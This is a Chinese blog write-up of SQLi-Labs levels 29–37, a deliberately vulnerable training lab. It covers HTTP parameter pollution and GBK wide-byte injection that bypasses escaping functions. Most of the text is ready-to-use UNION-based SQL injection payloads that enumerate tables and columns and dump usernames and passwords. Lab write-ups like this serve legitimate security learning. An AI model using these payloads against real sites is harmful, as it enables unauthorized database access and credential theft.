title: 《SQLi-Labs》05. Less 29~37
date: 2024-01-17 22:49:10
updated: 2024-02-12 18:09:10
categories: WriteUp:Security-Lab
excerpt: HTTP 参数污染,联合注入、宽字节注入。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
靶场部署在 VMware - Win7。
靶场地址:https://github.com/Audi-1/sqli-labs
说有最好的防火墙。源码是判断传递的数据是否是数字。
这一题主要考察的是多个相同参数的解析问题。
例如 index.php?id=1&id=2
,到底是解析 id=1 的数据还是解析 id=2 的?
这一关原本的思路是:
Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。
如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。
其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。
构造两个 id 参数,index.php?id=1&id=2
,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数
明白了原理,直接上 payload。
爆表:
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
爆敏感数据:
?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+
多个相同参数解析漏洞(HPP,HTTP 参数污染)。
《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411
原理与 Less-29 一样。字符型【"】
?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:
?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
爆敏感数据:
?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+
原理与 Less-29 一样。字符型【")】
?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:
?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
爆敏感数据:
?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+
这题考察宽字节注入。
遇事不决看源码。
Less-32 使用 preg_replace()
函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1"
会转义成 id=1\"
,使引号当作数据处理。
但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。
当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
先上 payload。
爆库名:
?id=-1%df' union select 1,database(),3 --+
MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(
%df
)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如%aa%5c
就是一个 汉字。
因为
urlencode(\') = %5c%27
,如果在%5c%27
前面添加%df
,形成%df%5c%27
,MySQL 就把%df%5c
当做是一个汉字解析,%27
(单引号【'】)则作为一个单独的符号。
爆表:
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。
MySQL 支持十六进制表示法,可以使用
0x
前缀来表示十六进制数值。
例如:
where table_name='users'
等同于:
where table_name=0x7573657273
爆敏感数据:
?id=-1%df' union select 1,group_concat(password,username),3 from users--+
宽字节注入。
%df
)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c
就是一个汉字。%df
)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。urlencode(\') = %5c%27
,如果在 %5c%27
前面添加 %df
,形成 %df%5c%27
,MySQL 就把 %df%5c
当做是一个汉字解析,%27
(单引号【'】)则作为一个单独的符号。MySQL 特性:支持十六进制表示法。
WHERE table_name='users'
等同于 WHERE table_name=0x7573657273
WHERE column_name='Bob'
等同于 WHERE column_name=0x426f62
Less-33 使用 addslashes()
函数,作用是返回在预定义字符之前添加反斜杠的字符串。
payload 和 Less-32 一样。
原理与 Less-32 一样。只不过是 post 形式的宽字节注入。
payload:
爆表:
-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段:
-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a
爆敏感数据:
1%df' union select 1,group_concat(password,1,username) from users -- a
原理与 Less-32 一样,宽字节注入。不过是数字型。
爆表:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆敏感数据:
?id=-1 union select 1,group_concat(password,username),3 from users--+
payload 同 Less-32。
原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string
函数对特殊字符进行转义,作用与 Less-33 的 addslashes()
函数一样。
payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。
松树千年终是朽,槿花一日自为荣。
——《放言五首 · 其五》(唐)白居易